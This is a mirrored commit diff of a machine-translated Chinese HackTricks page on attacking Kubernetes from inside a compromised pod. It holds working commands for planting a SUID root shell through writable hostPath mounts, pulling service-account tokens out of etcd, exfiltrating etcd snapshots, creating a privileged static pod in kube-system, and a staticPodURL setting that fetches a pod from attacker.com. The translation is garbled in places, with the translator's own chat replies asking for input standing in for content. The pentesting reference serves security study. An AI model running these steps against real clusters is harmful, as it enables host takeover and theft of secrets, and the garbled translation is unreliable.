gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-04 19:11:41 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube

Browse Source
This commit is contained in:
Translator
2025-09-29 23:41:17 +00:00
parent 9e4ee49384
commit c5aed418a9
1 changed files with 131 additions and 80 deletions
Download Patch File Download Diff File Expand all files Collapse all files

211
src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
View File

@@ -1,60 +1,104 @@
# 从 Pod 内部攻击 Kubernetes
# Attacking Kubernetes from inside a Pod
{{#include ../../banners/hacktricks-training.md}}
## **Pod 逃逸**
## **Pod Breakout**
**如果你足够幸运，你可能能够逃离到节点：**
**If you are lucky enough you may be able to escape from it to the node:**
![](https://sickrov.github.io/media/Screenshot-161.jpg)
### 从 Pod 逃逸
### 从 pod 逃逸
为了尝试从 pods 逃逸，你可能需要首先 **提升权限**，一些实现的方法：
为了尝试从 pods 逃逸，你可能需要先 **escalate privileges**，下面是一些实现的方法：
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
{{#endref}}
你可以查看这些 **docker 逃逸尝试**，以从你已攻陷的 pod 中逃逸：
你可以查看这些 **docker breakouts to try to escape**，用于从你已攻陷的 pod 中逃逸：
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
{{#endref}}
### 滥用 Kubernetes 权限
### 滥用可写的 hostPath/bind mounts (container -> host root via SUID planting)
如 **kubernetes 枚举** 部分所述：
如果一个已被攻陷的 pod/container 拥有一个可写的 volume，并且该 volume 直接映射到主机文件系统（Kubernetes hostPath 或 Docker bind mount），且你能在 container 内成为 root，你可以利用该挂载在主机上创建一个 setuid-root 二进制文件，然后在主机上执行它以获取 root。
关键条件：
- 挂载的卷从 container 内是可写的（readOnly: false 且文件系统权限允许写入）。
- 支撑该挂载的主机文件系统没有以 nosuid 选项挂载。
- 你有某种方式在主机上执行被植入的二进制文件（例如，对主机有单独的 SSH/RCE，主机上的某个用户可以执行它，或其它会从该路径运行二进制的向量）。
如何识别可写的 hostPath/bind mounts：
- 使用 kubectl 检查 hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- 从 container 内列出 mounts，查找 host-path 挂载并测试可写性：
```bash
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```
在容器中植入 setuid root binary：
```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
```
在宿主机上执行以获取 root：
```bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
```
Notes and troubleshooting:
- 如果主机挂载具有 nosuid，setuid 位将被忽略。检查主机上的挂载选项（cat /proc/mounts | grep <mountpoint>）并查找 nosuid。
- 如果你无法获取主机上的执行路径，类似的可写挂载点可以被滥用来在主机上写入其他 persistence/priv-esc artifacts，前提是映射的目录是安全关键的（例如，如果挂载映射到 /root/.ssh，则添加 a root SSH key；如果映射到 /etc，则丢弃 cron/systemd 单元；替换主机将执行的 PATH 中的 root 所有的二进制，等）。可行性完全取决于被挂载的路径。
- 该技术同样适用于普通 Docker bind 挂载；在 Kubernetes 中通常是 hostPath 卷（readOnly: false）或作用域错误的 subPath。
### 滥用 Kubernetes 特权
如在 **kubernetes enumeration** 一节中所解释：
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
通常，pods 是使用 **服务账户令牌** 运行的。这个服务账户可能附带一些 **权限**，你可以 **滥用** 这些权限 **移动** 到其他 pods，甚至 **逃逸** 到集群内配置的节点。查看如何操作：
通常 pods 内会包含一个 **service account token**。该 service account 可能附带一些 **privileges attached to it**，你可以 **abuse** 它们以 **move** 到其他 pods，甚至 **escape** 到集群中配置的节点。查看方法：
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### 滥用云权限
### 滥用云特权
如果 pod 在 **云环境** 中运行，你可能能够从 **元数据端点泄露一个令牌** 并使用它提升权限。
如果 pod 在 **云环境** 中运行，你可能能够 l**eak a token from the metadata endpoint** 并使用它提升特权。
## 搜索易受攻击的网络服务
## Search vulnerable network services
由于你在 Kubernetes 环境中，如果你无法通过滥用当前 pods 权限来提升权限，并且无法从容器中逃逸，你应该 **搜索潜在的易受攻击服务。**
既然你在 Kubernetes 环境内部，如果无法通过滥用当前 pods 的特权来提升权限，且无法从容器中 escape，你应当 **search potential vulnerable services.**
### 服务
### Services
**为此，你可以尝试获取 Kubernetes 环境中的所有服务：**
**For this purpose, you can try to get all the services of the kubernetes environment:**
```
kubectl get svc --all-namespaces
```
默认情况下，Kubernetes 使用扁平网络架构，这意味着**集群内的任何 pod/service 都可以与其他 pod/service 通信**。集群内的**命名空间**默认**没有任何网络安全限制**。命名空间中的任何人都可以与其他命名空间通信。
默认情况下，Kubernetes 使用扁平的网络架构，这意味着 **集群内的任何 pod/service 都可以相互通信**。集群中的 **namespaces** 默认 **没有任何网络安全限制**。处在某个 namespace 的任何人都可以与其他 namespaces 通信。
### 扫描
以下 Bash 脚本（取自 [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)）将安装并扫描 Kubernetes 集群的 IP 范围：
下面的 Bash 脚本（摘自 [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)）将安装并扫描 kubernetes 集群的 IP 范围：
```bash
sudo apt-get update
sudo apt-get install nmap
@@ -73,68 +117,68 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
查看以下页面以了解如何**攻击Kubernetes特定服务**以**破坏其他pod/整个环境**：
查看以下页面，了解你如何可以 **attack Kubernetes specific services** 以 **compromise other pods/all the environment**：
{{#ref}}
pentesting-kubernetes-services/
{{#endref}}
### 嗅探
### Sniffing
如果**被攻陷的pod正在运行某些敏感服务**，而其他pod需要进行身份验证，您可能能够通过**嗅探本地通信**来获取从其他pod发送的凭据。
如果 **compromised pod is running some sensitive service**，且其他 pods 需要进行认证，你可能能够通过 **sniffing local communications** 获取其他 pods 发送的凭证。
## 网络欺骗
## Network Spoofing
默认情况下，像**ARP欺骗**（以及因此产生的**DNS欺骗**）的技术在Kubernetes网络中有效。因此，在pod内部，如果您具有**NET_RAW能力**（默认情况下存在），您将能够发送自定义构造的网络数据包，并通过ARP欺骗对同一节点上运行的所有pod执行**中间人攻击**。\
此外，如果**恶意pod**与DNS服务器在**同一节点上运行**，您将能够对集群中的所有pod执行**DNS欺骗攻击**。
默认情况下，像 **ARP spoofing**（因此也能实现 **DNS Spoofing**）这类技术在 kubernetes 网络中是可行的。然后，在 pod 内，如果你拥有 **NET_RAW capability**（默认存在），你将能够发送自定义网络数据包并对运行在同一 node 的所有 pods 发起 **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
此外，如果 **malicious pod** 运行在与 DNS Server **same node as the DNS Server**，你将能够对集群中所有 pods 发起 **DNS Spoofing attack to all the pods in cluster**。
{{#ref}}
kubernetes-network-attacks.md
{{#endref}}
## 节点DoS
## Node DoS
Kubernetes清单中没有资源规范，并且**未应用限制**范围给容器。作为攻击者，我们可以**消耗pod/部署运行的所有资源**，使其他资源匮乏，从而导致环境的DoS。
Kubernetes manifests 中通常没有对资源进行规范，也没有为容器应用 **not applied limit** 范围。作为攻击者，我们可以 **consume all the resources where the pod/deployment running**，耗尽其他资源，从而导致环境的 DoS。
这可以通过工具如[**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng)来实现：
这可以使用诸如 [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
您可以看到在运行 `stress-ng` 期间和之后的区别。
你可以看到在运行 `stress-ng` 时与之后的区别
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
## Node Post-Exploitation
## 节点 Post-Exploitation
如果你成功地**逃离了容器**，你会在节点中发现一些有趣的东西：
If you managed to **escape from the container** there are some interesting things you will find in the node:
- **容器运行时**进程（Docker）
- 节点中运行的更多**pods/containers**，你可以像这样利用它们（更多令牌）
- 整个**文件系统**和**操作系统**一般
- 正在监听的**Kube-Proxy**服务
- 正在监听的**Kubelet**服务。检查配置文件：
- 目录：`/var/lib/kubelet/`
- **Container Runtime** 进程 (Docker)
- 节点上运行着更多 **pods/containers**，你可以像这样滥用它们（更多令牌）
- 整个 **文件系统** 和 **操作系统**
- **Kube-Proxy** 服务正在监听
- **Kubelet** 服务正在监听。检查配置文件：
- 目录: `/var/lib/kubelet/`
- `/var/lib/kubelet/kubeconfig`
- `/var/lib/kubelet/kubelet.conf`
- `/var/lib/kubelet/config.yaml`
- `/var/lib/kubelet/kubeadm-flags.env`
- `/etc/kubernetes/kubelet-kubeconfig`
- `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
- 其他**kubernetes常见文件**：
- 其他 **kubernetes 常见文件**:
- `$HOME/.kube/config` - **用户配置**
- `/etc/kubernetes/kubelet.conf`- **常规配置**
- `/etc/kubernetes/bootstrap-kubelet.conf` - **引导配置**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd配置**
- `/etc/kubernetes/pki` - **Kubernetes密钥**
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd 配置**
- `/etc/kubernetes/pki` - **Kubernetes 密钥**
### 查找节点 kubeconfig
如果你在之前提到的路径中找不到 kubeconfig 文件，**检查 kubelet 进程的 `--kubeconfig` 参数**：
如果你无法在之前列出的路径中找到 kubeconfig 文件，**检查 kubelet 进程的 `--kubeconfig` 参数**：
```
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
```
### 窃取秘密
### 窃取机密
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
@@ -155,110 +199,108 @@ echo ""
fi
done
```
脚本 [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) 将自动 **获取其他 pod 的令牌并检查它们是否具有您正在寻找的权限**（而不是您逐个查找）：
脚本 [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) 会自动**获取其他 pods 的 tokens 并检查它们是否具有你要找的权限**（而不是你逐个去查）:
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### 特权 DaemonSets
### Privileged DaemonSets
DaemonSet 是一个 **pod**，将在 **集群的所有节点** 中 **运行**。因此，如果一个 DaemonSet 配置了 **特权服务账户**，在 **所有节点** 中你都能找到该 **特权服务账户** 的 **token**，你可以利用它。
DaemonSet 是一个 **pod**，会在 **整个集群的所有节点** 上 **运行**。因此，如果 DaemonSet 配置了一个 **privileged service account**，在 **所有节点** 上你都可以找到该 **token**，也就是该 **privileged service account** 的令牌，并可滥用它。
这个漏洞与前一节的相同，但你现在不再依赖运气。
### Pivot to Cloud
### 转向云
如果集群由云服务管理，通常 **节点对元数据** 端点的访问权限与 Pod 不同。因此，尝试从 **节点访问元数据端点**（或从 hostNetwork 设置为 True 的 pod）：
如果集群由云服务管理，通常 **Node 对 metadata endpoint 的访问会与 Pod 不同**。因此，尝试 **从 Node 访问 metadata endpoint**（或从 hostNetwork 为 True 的 pod）：
{{#ref}}
kubernetes-pivoting-to-clouds.md
{{#endref}}
### 偷取 etcd
### 窃取 etcd
如果你可以指定将运行容器的节点的 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)，在控制平面节点内获取一个 shell 并获取 **etcd 数据库**：
如果你可以指定将运行容器的 Node 的 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)，进入 control-plane node 获取 shell 并拿到 **etcd database**：
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane 节点具有 **role master**，在 **云管理的集群中，您将无法在其中运行任何东西**。
control-plane 节点具有 **role master**，并且在 **云托管集群中你将无法在它们上运行任何东西**。
#### 从 etcd 读取秘密 1
#### 从 etcd 读取 secrets 1
如果您可以使用 pod 规格中的 `nodeName` 选择器在控制平面节点上运行您的 pod，您可能会轻松访问 `etcd` 数据库，该数据库包含集群的所有配置，包括所有秘密。
如果你可以在 pod spec 中使用 `nodeName` 选择器在 control-plane 节点上运行你的 pod，你可能能轻松访问 `etcd` 数据库，该数据库包含集群的所有配置，包括所有 secrets。
以下是从 `etcd` 中抓取秘密的快速而简单的方法，如果它在您所在的控制平面节点上运行。如果您想要一个更优雅的解决方案，可以启动一个带有 `etcd` 客户端工具 `etcdctl` 的 pod，并使用控制平面节点的凭据连接到运行中的 etcd，请查看 @mauilion 的 [这个示例清单](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)。
下面是在你所处的 control-plane 节点上运行 `etcd` 时，快速且粗糙地从 `etcd` 获取 secrets 的方法。如果你想要更优雅的解决方案（通过启动一个包含 `etcd` 客户端工具 `etcdctl` 的 pod，并使用 control-plane 节点的凭据连接到 etcd 无论它运行在哪里），请查看 [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) 来自 @mauilion。
**检查 `etcd` 是否在控制平面节点上运行，并查看数据库的位置（这是在 `kubeadm` 创建的集群上）**
**检查 `etcd` 是否在 control-plane 节点上运行并查看数据库所在位置（这是在使用 `kubeadm` 创建的集群上）**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
请提供需要翻译的具体内容。
请粘贴要翻译的文件内容（src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md）。收到后我会按你给的规则将相关英文文本翻译成中文，保留所有 markdown/HTML 语法、标签、路径、代码和不应翻译的术语。
```bash
data-dir=/var/lib/etcd
```
**查看etcd数据库中的数据：**
**在 etcd 数据库中查看数据：**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**从数据库中提取令牌并显示服务帐户名称**
**从数据库提取令牌并显示服务账户名称**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**相同的命令，但一些 grep 只返回 kube-system 命名空间中的默认令牌**
**相同的命令，但使用一些 greps 来仅返回 kube-system namespace 中的 default token**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
请提供需要翻译的内容。
请提供要翻译的文件内容（或粘贴 src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md 的文本），我会在保留所有 Markdown/HTML 标签、路径与未翻译术语的前提下翻译为中文。
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### 从 etcd 读取秘密 2 [从这里](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
#### 从 etcd 读取 secrets 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. 创建 **`etcd`** 数据库的快照。查看 [**这个脚本**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) 获取更多信息。
2. 以你喜欢的方式将 **`etcd`** 快照传输出节点。
3. 解压数据库：
1. 为 **`etcd`** 数据库创建快照。查看 [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) 以获取更多信息。
2. 以你喜欢的方式将 **`etcd`** 快照从节点中传输出去。
3. 解包数据库:
```bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
```
4. 在您的本地机器上启动 **`etcd`** 并使其使用被盗的快照：
4. 在本地机器上启动 **`etcd`** 并让它使用被窃取的 snapshot:
```bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
```
5. 列出所有的秘密：
5. 列出所有 secrets:
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. 获取机密：
6. 获取 secfrets:
```bash
etcdctl get /registry/secrets/default/my-secret
```
### 静态/镜像 Pods 持久性
### Static/Mirrored Pods 持久化
静态 Pods 由特定节点上的 kubelet 守护进程直接管理，而不被 API 服务器观察。与由控制平面管理的 Pods（例如，Deployment）不同；相反，**kubelet 监视每个静态 Pod**（并在其失败时重启它）。
_Static Pods_ 由特定 node 上的 kubelet daemon 直接管理，API server 不会对它们进行观察。与由 control plane 管理的 Pods（例如，Deployment）不同；**kubelet 会监视每个 static Pod**（并在其失败时重启）。
因此，静态 Pods 始终**绑定到特定节点上的一个 Kubelet**。
因此，static Pods 总是**绑定到特定 node 上的某个 Kubelet**。
**kubelet 会自动尝试在 Kubernetes API 服务器上为每个静态 Pod 创建一个镜像 Pod**。这意味着在节点上运行的 Pods 在 API 服务器上是可见的，但无法从那里进行控制。Pod 名称将以节点主机名为后缀，并带有前导连字符。
**kubelet 会自动尝试在 Kubernetes API server 上为每个 static Pod 创建一个 mirror Pod**。这意味着运行在 node 上的 Pods 在 API server 上是可见的，但不能从那里进行控制。Pod 名称会以 node 主机名作为后缀，并带有前导连字符。
> [!CAUTION]
> 静态 Pod 的 **`spec` 不能引用其他 API 对象**（例如，ServiceAccount、ConfigMap、Secret 等）。因此 **您无法利用此行为在当前节点上启动一个具有任意 serviceAccount 的 pod 来妥协集群**。但您可以利用此功能在不同的命名空间中运行 Pods（如果出于某种原因这有用）。
> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
如果您在节点主机内部，可以让它在内部创建一个**静态 pod**。这非常有用，因为它可能允许您在不同的命名空间中**创建一个 pod**，例如 **kube-system**。
如果你在 node 主机内，你可以让它在自身创建一个 **static pod**。这非常有用，因为它可能允许你 **在不同的 namespace 创建一个 pod**，例如 **kube-system**。
为了创建一个静态 pod，[**文档非常有帮助**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)。您基本上需要两件事：
要创建 static pod， [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)。基本上你需要两件事：
- 在 **kubelet 服务**中配置参数 **`--pod-manifest-path=/etc/kubernetes/manifests`**，或在 **kubelet 配置**中（[**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)），并重启服务
- 在 **`/etc/kubernetes/manifests`** 中创建 **pod 定义**的定义
- 在 **kubelet service** 中，或在 **kubelet config**（[**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)）里配置参数 **`--pod-manifest-path=/etc/kubernetes/manifests`**，然后重启服务
- 在 **`/etc/kubernetes/manifests`** 中创建 **pod definition**
**另一种更隐蔽的方法是：**
- 修改 **kubelet** 配置文件中的参数 **`staticPodURL`**，并设置类似 `staticPodURL: http://attacker.com:8765/pod.yaml` 的内容。这将使 kubelet 进程创建一个 **静态 pod**，从指定的 URL 获取 **配置**。
- 修改 **kubelet** 配置文件中的参数 **`staticPodURL`**，设置为类似 `staticPodURL: http://attacker.com:8765/pod.yaml`。这会使 kubelet 进程创建一个 **static pod**，并从指定的 URL 获取 **configuration**。
**示例**的 **pod** 配置，以在 **kube-system** 中创建一个特权 pod，取自 [**这里**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/)：
**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
```yaml
apiVersion: v1
kind: Pod
@@ -284,10 +326,10 @@ hostPath:
path: /
type: Directory
```
### 删除 Pods + 不可调度的节点
### 删除 pods + 使 nodes 无法调度
如果攻击者**已攻陷一个节点**，并且他可以**删除其他节点上的 Pods**，并且**使其他节点无法执行 Pods**，那么这些 Pods 将在被攻陷的节点上重新运行，他将能够**窃取运行在其中的令牌**。\
有关[**更多信息，请访问此链接**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes)。
如果攻击者已经**攻陷了一个 node**，并且他可以从其他 node **删除 pods** 并**使其他 node 无法运行 pods**，这些 pods 会在被攻陷的 node 上重新运行，攻击者就能**窃取在其中运行的 tokens**。
有关更多信息请参见 [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
## 自动化工具
@@ -353,4 +395,13 @@ Off-Menu +
```
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
## 参考资料
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)
{{#include ../../banners/hacktricks-training.md}}